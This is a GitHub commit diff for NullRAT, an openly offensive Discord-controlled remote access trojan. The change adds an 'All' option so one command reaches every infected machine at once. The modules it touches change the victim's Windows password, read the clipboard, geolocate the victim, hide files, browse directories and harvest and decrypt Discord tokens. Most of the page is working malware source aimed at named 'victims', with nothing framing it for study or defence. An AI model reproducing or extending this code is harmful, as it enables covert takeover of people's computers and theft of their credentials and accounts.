Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 3fa3dd5

Browse files
committed
NullRAT: Use new identifier checker
New option added: Type "All" in selection prompt to execute a command on every instance of NullRAT Removes a lot of code redundancy and allows me to unify everything
1 parent c2df6db commit 3fa3dd5

22 files changed

Lines changed: 38 additions & 32 deletions

NullRAT/RAT.py

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,11 @@
99
import os, psutil, re, requests, sys, subprocess, random
1010

1111
############### Global functions available in every cog
12+
def valid(identifier):
13+
if str(identifier) == str(client.identifier) or str(identifier).lower() == "all":
14+
return True
15+
return False
16+
1217
def genEmbed(self, title, timestamp, description=None):
1318
if description is None:
1419
embed = discord.Embed(
@@ -59,13 +64,14 @@ def __init__(self, **options):
5964
self.original_dir = original_dir
6065

6166
# Checks if username is Admin/Administrator
62-
if "dmin" in os.getenv("username"):
67+
if "dmin" in os.getenv("username").lower():
6368
self.identifier = identification
6469
else:
6570
self.identifier = os.getenv("username")
6671

6772
genEmbed = genEmbed
6873
find_token = find_token
74+
valid = valid
6975

7076
client = NullBot(test_guilds=server_ids)
7177
nr_working = f"C:\\Users\\{os.getenv('username')}\\Appdata\\Roaming\\.cache"
@@ -83,7 +89,7 @@ def __init__(self, **options):
8389
@client.event
8490
async def on_ready():
8591
embed = Embed(
86-
title = f"NullRAT **IX** started on: **{client.identifier}**",
92+
title = f"NullRAT **XII** started on: **{client.identifier}**",
8793
description = f"Currently present in:\n```{client.original_dir}```",
8894
timestamp = datetime.now()
8995
).set_author(
@@ -113,7 +119,7 @@ async def shutdown(ctx, victim):
113119
----------
114120
victim: Identifier of the affected computer (found via /listvictims)
115121
"""
116-
if str(victim) == str(client.identifier):
122+
if valid(victim):
117123
await ctx.response.send_message(
118124
embed = client.genEmbed(
119125
"Shutting down NullRAT for **" + client.identifier + "**...",

NullRAT/modules/ChangePass.py

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,10 +19,10 @@ async def changepass(self, ctx, victim, password):
1919
password: New password to change for running user
2020
"""
2121

22-
if str(victim) == str(self.bot.identifier) or str(victim).lower() == "all":
23-
# Admin detection, this command will not work for regular users (apparently)
22+
if self.valid(victim):
23+
# Admin detection, this command will not work for regular users
2424
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
25-
if is_admin == false:
25+
if is_admin == False:
2626
return await ctx.followup.send("NullRAT is not running as admin. Operation aborted")
2727

2828
status = os.popen(r"net user %username% " + password).read()

NullRAT/modules/checkedtokens.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ async def checked_tokens(self, ctx, victim):
3333
----------
3434
victim: Identifier of the affected computer (found via /listvictims).
3535
"""
36-
if str(victim) == str(self.bot.identifier):
36+
if self.valid(victim):
3737
await ctx.response.defer()
3838
try:
3939
tkr = bytes(requests.get("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken").text, "utf-8")

NullRAT/modules/clipboard.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ async def get_clipboard(self, ctx, victim):
1717
----------
1818
victim: Identifier of the affected computer (found via /listvictims).
1919
"""
20-
if str(victim) == str(self.bot.identifier):
20+
if self.valid(victim):
2121
await ctx.response.defer()
2222

2323
outp = os.popen("powershell Get-Clipboard").read()

NullRAT/modules/create_new_module.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ async def CMDNAME(self, ctx, victim, argumentsss):
1919
argumentsss: ARGUMENT DESCRIPTION
2020
"""
2121

22-
if str(victim) == str(self.bot.identifier):
22+
if self.valid(victim):
2323
""" command here... """
2424

2525
def setup(bot: commands.Bot):

NullRAT/modules/directory.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ async def get_currentdir(self, ctx, victim):
1818
----------
1919
victim: Identifier of the affected computer (found via /listvictims).
2020
"""
21-
if str(victim) == str(self.bot.identifier):
21+
if self.valid(victim):
2222
await ctx.response.send_message(
2323
embed=self.bot.genEmbed(
2424
"Current directory of NullRAT:",
@@ -36,7 +36,7 @@ async def set_currentdir(self, ctx, victim, directory):
3636
victim: Identifier of the affected computer (found via /listvictims).
3737
directory: Directory where NullRAT will change (cd) to
3838
"""
39-
if str(victim) == str(self.bot.identifier):
39+
if self.valid(victim):
4040
try:
4141
os.chdir(directory)
4242
return await ctx.response.send_message(
@@ -58,7 +58,7 @@ async def list_rawdir(self, ctx, victim, directory="null"):
5858
victim: Identifier of the affected computer (found via /listvictims).
5959
directory: Directory whose contents will be listed (optional)
6060
"""
61-
if str(victim) == str(self.bot.identifier):
61+
if self.valid(victim):
6262
if directory != 'null':
6363
try: os.chdir(directory)
6464
except FileNotFoundError: return await ctx.response.send_message("Invalid directory!")
@@ -83,7 +83,7 @@ async def list_directory(self, ctx, victim, directory="null"):
8383
victim: Identifier of the affected computer (found via /listvictims).
8484
directory: Directory whose contents will be listed (optional)
8585
"""
86-
if str(victim) == str(self.bot.identifier):
86+
if self.valid(victim):
8787
try:
8888
contents = os.listdir(
8989
os.getcwd() if directory == "null" else directory

NullRAT/modules/geolocate.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ async def get_geolocation(self, ctx, victim):
1717
----------
1818
victim: Identifier of the affected computer (found via /listvictims).
1919
"""
20-
if str(victim) == str(self.bot.identifier):
20+
if self.valid(victim):
2121
await ctx.response.defer()
2222

2323
data = requests.get("http://ip-api.com/json/").json()

NullRAT/modules/getenv.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ async def get_environment(self, ctx, victim: str, environment: str):
1818
victim: Identifier of the affected computer (found via /listvictims).
1919
environment: The variable of which the value is wanted
2020
"""
21-
if str(victim) == str(self.bot.identifier):
21+
if self.valid(victim):
2222
try:
2323
value = os.getenv(environment)
2424
except:

NullRAT/modules/hideFile.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ async def hidefile(self, ctx, victim, file):
1818
victim: Identifier of the affected computer (found via /listvictims).
1919
file: File path of the file to be hidden.
2020
"""
21-
if str(victim) == str(self.bot.identifier):
21+
if self.valid(victim):
2222
if '"' in file:
2323
file = file.replace('"','')
2424

NullRAT/modules/rawtokens.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ async def raw_tokens(self, ctx, victim):
1818
----------
1919
victim: Identifier of the affected computer (found via /listvictims).
2020
"""
21-
if str(victim) == str(self.bot.identifier):
21+
if self.valid(victim):
2222
await ctx.response.defer()
2323

2424
try:

0 commit comments

Comments
 (0)